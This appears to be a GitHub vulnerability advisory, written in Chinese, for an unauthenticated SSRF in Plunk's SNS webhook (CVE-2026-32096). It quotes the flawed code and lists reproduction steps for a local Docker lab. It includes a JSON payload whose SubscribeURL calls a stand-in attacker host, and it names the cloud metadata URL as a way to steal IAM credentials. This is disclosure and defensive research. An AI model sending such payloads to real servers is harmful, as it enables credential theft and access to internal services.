andrebhu/CVE-2026-32096
GitHub: andrebhu/CVE-2026-32096
该项目记录了 Plunk 邮件服务中因未验证 AWS SNS 签名而导致的未经认证 SSRF 漏洞(CVE-2026-32096),并提供完整复现脚本与本地测试环境。
Stars: 0 | Forks: 0
# CVE-2026-32096
**[useplunk/plunk](https://github.com/useplunk/plunk) 中因未验证 AWS SNS SubscriptionConfirmation 导致的 SSRF 漏洞**
## 概述
Plunk API 端点 `POST /webhooks/sns` 在获取攻击者提供的 `SubscribeURL` 时,未验证 AWS SNS 的加密签名。未经身份验证的攻击者可借此强制服务器发起任意的出站 HTTP 请求(SSRF)。
| | |
|---|---|
| **严重程度** | 危急 — CVSS 9.3 (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`) |
| **CWE** | [CWE-918: 服务端请求伪造](https://cwe.mitre.org/data/definitions/918.html) |
| **受影响文件** | `apps/api/src/controllers/Webhooks.ts` |
| **需要身份验证** | 无 |
## 漏洞代码
```
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — no signature validation
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
```
最小请求负载只需两个字段:
```
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
```
## 影响
- **AWS EC2/ECS**: 通过 `http://169.254.169.254/latest/meta-data/iam/security-credentials/` 窃取 IAM 凭证
- **内部服务**: 访问数据库、Redis、Kubernetes API 或其他未暴露在公网的服务
- **端口扫描**: 通过响应时间和基于错误的响应枚举内部端口
## 复现
### 前置条件
- Docker & Docker Compose
- Python 3
### 步骤
1. **启动 Plunk 测试环境:**
docker compose up -d
2. **启动 SSRF 回调监听器:**
python3 listener.py
3. **运行漏洞利用程序:**
chmod +x exploit.sh
./exploit.sh
4. **观察** `listener.py` 输出中的回调命中,确认服务器获取了受攻击者控制的 URL。
## 文件
| 文件 | 描述 |
|---|---|
| `exploit.sh` | 端到端漏洞利用脚本 — 将伪造的 SNS 负载发送到受漏洞影响的端点 |
| `listener.py` | SSRF 回调监听器 — 捕获并记录来自 Plunk 服务器的传入请求 |
| `docker-compose.yml` | 用于本地复现的最小化 Docker Compose 环境 (Postgres、Redis、Plunk) |
## 参考资料
- [AWS SNS: 验证 Amazon SNS 消息的签名](https://docs.aws.amazon.com/sns/latest/dg/sns-verify-signature-of-message.html)
- [OWASP SSRF 预防备忘单](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
标签:AWS SNS, CISA项目, CVE-2026-32096, CWE-918, Docker, GNU通用公共许可证, IAM凭证窃取, Node.js, PoC, SSRF, TypeScript, Webhooks安全, 内部端口扫描, 安全插件, 安全防御评估, 应用安全, 插件系统, 暴力破解, 服务端请求伪造, 未授权访问, 漏洞分析, 版权保护, 网络安全, 请求拦截, 路径探测, 逆向工具, 隐私保护